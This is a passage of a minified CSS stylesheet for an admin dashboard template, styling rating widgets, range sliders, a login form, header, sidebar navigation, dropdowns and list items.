50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .color-selector li input[type=radio] { position: absolute; top: 0; left: 0; z-index: 1; width: inherit; height: inherit; cursor: pointer; border-radius: inherit; opacity: 0; } .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after { position: absolute; top: 0px; left: 5px; display: inline-block; margin-top: -3px; font-size: 16px; line-height: 1; content: "\e83f"; color: #fff; } .color-selector li label { position: relative; margin-bottom: .4rem; font-family: "iconkit"; font-style: normal; font-weight: 400; font-variant: normal; text-transform: none; } .color-selector li:last-child { margin-right: 0; } .alert { border: none; } .alert .close { font-size: 18px; padding: 12px 15px; } .jq-icon-info { background-color: #11cdef; color: #ffffff; border: none; } .jq-icon-warning { background-color: #fb6340; color: #ffffff; } .jq-icon-error { background-color: #f5365c; color: #ffffff; } .jq-icon-success { color: #ffffff; background-color: #2dce89; } .jq-toast-single, .jq-toast-single h2 { font-family: 'Nunito Sans', sans-serif; } .br-wrapper { margin: 20px 0 50px; } .br-theme-bars-1to10 .br-widget .br-current-rating { clear: both; padding: 0; font-size: 13px; color: #757575; font-weight: 400; } .br-theme-bars-reversed .br-widget .br-current-rating { clear: both; padding: 0; line-height: 2; font-size: 13px; } .br-theme-bars-movie .br-widget .br-current-rating { color: #757575; font-weight: 400; text-align: left; } .br-theme-bars-horizontal .br-widget .br-current-rating, .br-theme-bars-reversed .br-widget .br-current-rating { color: #757575; font-weight: 400; font-size: 13px; } span.value { display: inline; } .current-rating { position: relative; top: -50px; } .current-rating.hidden { display: none; } .your-rating { position: relative; top: -50px; } .your-rating.hidden { display: none; } .br-theme-bars-1to10 .br-widget a, .br-theme-bars-movie .br-widget a, .br-theme-bars-reversed .br-widget a, .br-theme-bars-horizontal .br-widget a { background-color: #66b0ff; } .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected, .br-theme-bars-movie .br-widget a.br-active, .br-theme-bars-movie .br-widget a.br-selected, .br-theme-bars-reversed .br-widget a.br-active, .br-theme-bars-reversed .br-widget a.br-selected, .br-theme-bars-horizontal .br-widget a.br-active, .br-theme-bars-horizontal .br-widget a.br-selected { background-color: #007bff; } .br-theme-bars-pill .br-widget a { background-color: #66b0ff; color: #007bff; } .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected { background-color: #007bff; } .br-theme-fontawesome-stars .br-widget a.br-active:after, .br-theme-fontawesome-stars .br-widget a.br-selected:after { color: #007bff; } .br-theme-css-stars .br-widget a.br-active:after, .br-theme-css-stars .br-widget a.br-selected:after { color: #007bff; } .br-theme-bars-square .br-widget a { border: 2px solid #66b0ff; color: #2990ff; } .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected { border: 2px solid #007bff; color: #007bff; } .br-theme-fontawesome-stars-o .br-widget a.br-selected:after, .br-theme-fontawesome-stars-o .br-widget a:after, .br-theme-fontawesome-stars-o .br-widget a.br-active:after, .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after { color: #007bff; } /*range slider start */ .range-slider { min-height: 200px; display: flex; align-items: center; margin-left: 15px; } .range-slider b { margin-top: -10px; } #RGB { height: 10px; background: gray; } #RC .slider-selection { background: #FF8282; } #RC .slider-handle { background: red; } #GC .slider-selection { background: #428041; } #GC .slider-handle { background: green; } #BC .slider-selection { background: #8283FF; } #BC .slider-handle { border-bottom-color: blue; } #R, #G, #B { width: 300px; } .range-slider-contain { position: absolute; bottom: 15px; } .slider-handle { top: -5px; background-image: linear-gradient(to bottom, #007bff 0%, #007bff 100%); box-shadow: none; } .slider-tick, .slider-track { background-image: linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%); } .slider-handle.custom::before { line-height: 15px; font-size: 35px; color: #007bff; } #slider12a .slider-track-high, #slider12c .slider-track-high { background: green; } #slider12b .slider-track-low, #slider12c .slider-track-low { background: red; } #slider12c .slider-selection { background: yellow; } .slider-selection.tick-slider-selection { background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); } .slider-tick.in-selection { background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); } .slider.slider-horizontal .slider-track { height: 2px; } .slider.slider-horizontal .slider-tick, .slider.slider-horizontal .slider-handle { top: -5px; cursor: pointer; } /*range slider end */ .slider.slider-horizontal .slider-track { width: 90%; margin-top: -5px; top: 50%; left: 10px; } .auth-wrapper .lavalite-bg { height: 100vh; position: relative; width: 100%; -webkit-background-size: cover; background-size: cover; background-repeat: no-repeat; } .auth-wrapper .lavalite-bg .lavalite-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); } .auth-wrapper .authentication-form { font-size: .9rem; width: 70%; display: block; padding: 100px 0; } .auth-wrapper .authentication-form .logo-centered { width: 60px; margin: 0 auto; margin-bottom: 40px; } .auth-wrapper .authentication-form h3 { font-size: 20px; color: #272d36; margin-bottom: 20px; } .auth-wrapper .authentication-form .form-group { position: relative; } .auth-wrapper .authentication-form .form-group .form-control { padding-left: 40px; } .auth-wrapper .authentication-form .form-group .form-control ~ i { position: absolute; top: 10px; left: 15px; } .auth-wrapper .authentication-form .sign-btn { margin-top: 30px; } .auth-wrapper .authentication-form .register { margin-top: 30px; text-align: center; } body { color: #212121; font-size: .8rem; line-height: 1.5; font-weight: 400; font-family: "Nunito Sans", sans-serif; } .dropdown-toggle:after, .dropdown-toggle::after { display: none; } .tooltip { font-family: "Nunito Sans", sans-serif; font-size: 12px; font-weight: 700; } .truncate { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .progress-sm { height: .5rem; } .progress-sm .progress-bar { height: .5rem; } .img-thumbnail, .list-thumbnail { border-radius: .1rem; padding: 0; border: initial; } .list-thumbnail { height: auto; max-width: unset; height: 85px; object-fit: cover; width: unset !important; } @media only screen and (max-width: 1023px) { .list-thumbnail.responsive { width: unset; height: 135px; } } .list-thumbnail.small { height: 60px; font-size: 1rem; } .list-thumbnail-letters { width: 85px; height: 85px; background: #090e40; align-items: center; display: flex; justify-content: center; font-size: 1.25rem; color: #fff; } .list-thumbnail-letters.small { width: 60px; height: 60px; font-size: 1rem; } .list-item-heading { font-size: 1rem; } .flex-grow-1 { -webkit-flex-grow: 1; -moz-flex-grow: 1; -ms-flex-grow: 1; flex-grow: 1; } .dropdown-menu { padding: 5px; font-size: 12px; background-color: #ffffff; border-color: transparent; margin: 0; width: 170px; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .dropdown-menu .dropdown-item { background-color: #ffffff; padding: 8px 15px; line-height: 14px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dropdown-menu .dropdown-item .dropdown-icon { display: inline-block; vertical-align: middle; font-size: 16px; margin-right: 5px; vertical-align: -2px; color: #9aa0ac; } .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus { background-color: #dee2e6 !important; color: #212121; } .dropdown-menu .dropdown-item .badge { width: 15px; height: 15px; border-radius: 50%; text-align: center; padding: 0; line-height: 15px; } .dropdown-menu:after, .dropdown-menu::after { bottom: 100%; left: 10px; border: solid transparent; content: ' '; height: 0; width: 0; position: absolute; pointer-events: none; border-color: rgba(136, 183, 213, 0); border-bottom-color: #ffffff; border-width: 5px; } .dropdown-menu.dropdown-menu-right::after { right: 10px; left: auto; } .wrapper .header-top { background-color: #ffffff; z-index: 1030; position: relative; padding: 15px 0; position: fixed; top: 0; width: 100%; left: 0; padding-left: 240px; -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); } .wrapper .header-top .top-menu .dropdown { margin-left: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu { margin-top: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid { width: 182px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item { display: inline-block; width: 40px; height: 40px; text-align: center; padding: 0; line-height: 40px; font-size: 18px; color: #5A5A5A; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown { min-width: 300px; padding: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header { margin: 0; padding: 15px; font-size: 16px; border-bottom: 1px solid #f1f1f1; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media { border-bottom: 1px solid #eef1f2; padding: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) { background: #f8f9fa; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; margin-right: 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i { color: #fff; text-align: center; font-size: 15px; line-height: 30px; top: 0; height: 30px; width: 30px; background: #404E67; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img { height: 30px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body { font-size: 12px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading { color: #444; font-weight: 600; letter-spacing: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content { color: #868e96; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer { text-align: center; padding: 10px 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a { color: #212121; font-size: 16px; } .wrapper .header-top .top-menu .nav-link { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 36px; color: #212121; border: none; position: relative; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus { background-color: #dee2e6; color: #333; } .wrapper .header-top .top-menu .nav-link i { font-size: 16px; } .wrapper .header-top .top-menu .nav-link .badge { right: -1px; position: absolute; top: -4px; padding: 3px; width: 17px; font-size: 11px; font-weight: 800; color: #fff; border-radius: 100px; -webkit-border-radius: 100px; -moz-border-radius: 100px; } .wrapper .header-top .top-menu .avatar { color: #4c5667; font-weight: 600; width: 30px; height: 30px; line-height: 30px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; display: inline-block; background: #ced4da no-repeat center/cover; position: relative; vertical-align: bottom; font-size: .875rem; user-select: none; } .wrapper .header-top .top-menu .mobile-nav-toggle { border: none; position: relative; margin-right: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span { height: 2px; width: 20px; background-color: #4a5361; display: inline-block; border-radius: 4px; position: absolute; top: 14px; left: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after { content: ""; height: 2px; width: 20px; border-radius: 4px; background-color: #4a5361; display: inline-block; position: absolute; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before { left: 0; top: -6px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::after { left: 0; bottom: -6px; } .wrapper .header-top .top-menu .header-search { padding: 0 10px; position: relative; } .wrapper .header-top .top-menu .header-search .input-group { border-radius: 20px; -webkit-border-radius: 20px; -moz-border-radius: 20px; margin-bottom: 0; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon { color: #404E67; padding: 2px 10px 2px 0px; font-size: 16px; cursor: pointer; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close { padding: 2px 0px 2px 10px; display: none; } .wrapper .header-top .top-menu .header-search .input-group .form-control { padding: 0 10px; min-height: auto; width: 0; border: none; color: #353c4e; background-color: transparent; border-radius: 0px; -webkit-border-radius: 0px; -moz-border-radius: 0px; } .wrapper .header-top .top-menu .header-search.open .input-group { background-color: #e4e4e4; } .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close { display: block; } @media only screen and (max-width: 1023px) { .wrapper .header-top { padding-left: 0; } } .wrapper .header-top[header-theme="light"] { background: #ffffff; } .wrapper .header-top[header-theme="dark"] { background: #272d36; } .wrapper .header-top[header-theme="blue"] { background: #007bff; } .wrapper .header-top[header-theme="red"] { background: #f5365c; } .wrapper .header-top[header-theme="orange"] { background: #fb6340; } .wrapper .header-top[header-theme="green"] { background: #2dce89; } .wrapper .header-top[header-theme="purple"] { background: #BF55EC; } .wrapper .header-top[header-theme="blue"] .top-menu .nav-link, .wrapper .header-top[header-theme="red"] .top-menu .nav-link, .wrapper .header-top[header-theme="orange"] .top-menu .nav-link, .wrapper .header-top[header-theme="green"] .top-menu .nav-link, .wrapper .header-top[header-theme="purple"] .top-menu .nav-link, .wrapper .header-top[header-theme="dark"] .top-menu .nav-link { color: #ffffff; background-color: transparent; } .wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon { color: #ffffff; } .wrapper .page-wrap { position: relative; } .wrapper .page-wrap .app-sidebar { position: fixed; left: 0; top: 0; width: 240px; height: 100vh; background-color: #ffffff; z-index: 1040; -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -moz-transform: translate3d(0, 0, 0); -o-transform: translate3d(0, 0, 0); -ms-transform: translate3d(0, 0, 0); -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); white-space: nowrap; visibility: visible; } .wrapper .page-wrap .app-sidebar .sidebar-header { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: space-between; -moz-justify-content: space-between; -ms-justify-content: space-between; justify-content: space-between; -ms-flex-pack: space-between; padding: 13px 15px; height: 60px; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand { display: block; font-size: 22px; font-weight: 700; color: #212529; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img { display: inline-block; width: 30px; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { border: none; background-color: transparent; color: #ffffff; font-size: 20px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon { border: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: none; border: none; background-color: transparent; color: #ffffff; font-size: 20px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: inline-block; } } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } } .wrapper .page-wrap .app-sidebar .sidebar-content { position: relative; height: -webkit-calc(100vh - 60px); height: -moz-calc(100vh - 60px); height: calc(100vh - 60px); overflow: auto; z-index: 4; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a { display: block; overflow: hidden; padding: 15px 5px; margin-left: 15px; margin-right: 15px; color: #545454; position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i { font-size: 20px; margin-right: 10px; display: inline-block; vertical-align: -4px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { font-size: 13px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge { position: absolute; right: 30px; text-align: center; top: 16px; vertical-align: middle; white-space: nowrap; opacity: 1; visibility: visible; border-radius: 4px; font-size: 75%; padding: 4px 7px; margin-right: 5px; font-weight: 800; color: #fff; -webkit-transition: opacity 0.3s linear; transition: opacity 0.3s linear; text-transform: uppercase; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled { opacity: 0.5; cursor: not-allowed !important; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 3px; top: 15px; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content { background-color: #f3f3f3; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item { padding: 10px 5px; font-size: 13px; padding-left: 50px; margin: 0; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active { color: #eb525d; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 20px; top: 10px; display: inline-block; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item { padding-left: 70px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; position: absolute; top: 10px; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; top: 10px; position: absolute; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { font-size: 14px; font-weight: 400; opacity: 1; padding: 8px 20px 8px; text-transform: capitalize; visibility: visible; width: 100%; color: #999; background: #333e52; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header { background-color: #272d36; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand { color: #ffffff; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content { background-color: #404E67; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item { border-color: rgba(243, 243, 243, 0.15); } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a { color: #ffffff; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i { color: #bcc8d8; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content { background-color: #4a5872; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after { background-color: #eb525d; } .wrapper .page-wrap .app-sidebar.hide-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -moz-transform: translate3d(-100%, 0, 0); -o-transform: translate3d(-100%, 0, 0); -ms-transform: translate3d(-100%, 0, 0); -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } } .wrapper .page-wrap .main-content { padding: 30px 0; background-color: #F6F7FB; min-height: calc(100vh - 120px); margin-top: 60px; padding-right: 15px; padding-left: 255px; -moz-transition: all 0.3s ease; -o-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .main-content { padding-left: 0; padding-right: 0; } } .wrapper .page-wrap .main-content .page-header { margin-bottom: 30px; } .wrapper .page-wrap .main-content .page-header .page-header-title i { float: left; width: 40px; height: 40px; border-radius: 5px; margin-right: 20px; vertical-align: middle; font-size: 22px; color: #fff; display: inline-flex; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); -moz-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); } .wrapper .page-wrap .main-content .page-header .page-header-title h5 { margin-bottom: 0; font-weight: 700; font-size: 18px; } .wrapper .page-wrap .main-content .page-header .page-header-title h5 + span { font-size: 13px; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container { float: right; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb { background-color: transparent; margin-bottom: 0; float: right; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a { color: #212121; } .wrapper .page-wrap .main-content .card .card-body .sub-title { font-size: 14px; border-bottom: 1px solid rgba(204, 204, 204, 0.35); padding-bottom: 10px; margin-bottom: 20px; color: #2c3e50; } .wrapper .page-wrap .main-content .card .card-body code { background-color: #eee; margin: 5px; display: inline-block; padding: 1px 6px; border-radius: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item { padding: 13px 20px; border: 1px solid #ededed; position: relative; border-left: 0; border-right: 0; height: 50px; overflow: hidden; -moz-transition: transform 0.2s ease-in-out; -o-transition: transform 0.2s ease-in-out; -webkit-transition: transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: flex-start; -moz-justify-content: flex-start; -ms-justify-content: flex-start; justify-content: flex-start; -ms-flex-pack: flex-start; position: relative; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control { margin: 0; margin-top: -2px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title { width: 100%; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a { color: #3e5569; font-weight: 600; display: block; width: 100%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: calc(100% - 50px); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions { position: absolute; right: 0px; top: 50%; opacity: 0; display: none; z-index: 3; padding-left: 10px; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 32px; color: #999; display: inline-block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus { background-color: #dee2e6; color: #333; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap { margin-top: 5px; opacity: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p { margin: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus { background-color: #f9f9f9; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions { opacity: 1; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened { height: auto; background-color: #ffffff; border: none; z-index: 5; -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-transform: scale(1.01); -o-transform: scale(1.01); -ms-transform: scale(1.01); -webkit-transform: scale(1.01); transform: scale(1.01); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a { font-size: 16px; color: #263238; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap { opacity: 1; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item { margin-top: -1px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child { border-bottom: none; } .wrapper .page-wrap .footer { background: #ffffff; padding: 20px 30px; border-top: 1px solid rgba(0, 0, 0, 0.04); font-size: calc(0.875rem - 0.05rem); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } @media only screen and (min-width: 1024px) { .wrapper .page-wrap .footer { padding-left: 270px; } } .wrapper .page-wrap .right-sidebar { position: fixed; top: 60px; right: 0; width: 240px; background: #fff; height: calc(100vh - 60px); border-left: 1px solid #eef1f2; border-top: 1px solid #eef1f2; padding: 1.07143em; z-index: 9; -moz-transform: translateX(100%); -o-transform: translateX(100%); -ms-transform: translateX(100%); -webkit-transform: translateX(100%); transform: translateX(100%); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 { color: #353c4e; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group { position: relative; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control { padding-right: 30px; border-radius: 50px; -webkit-border-radius: 50px; -moz-border-radius: 50px; padding-left: 15px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i { position: absolute; top: 8px; right: 10px; font-size: 16px; color: #bbb; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group { margin-left: -1.07143em; 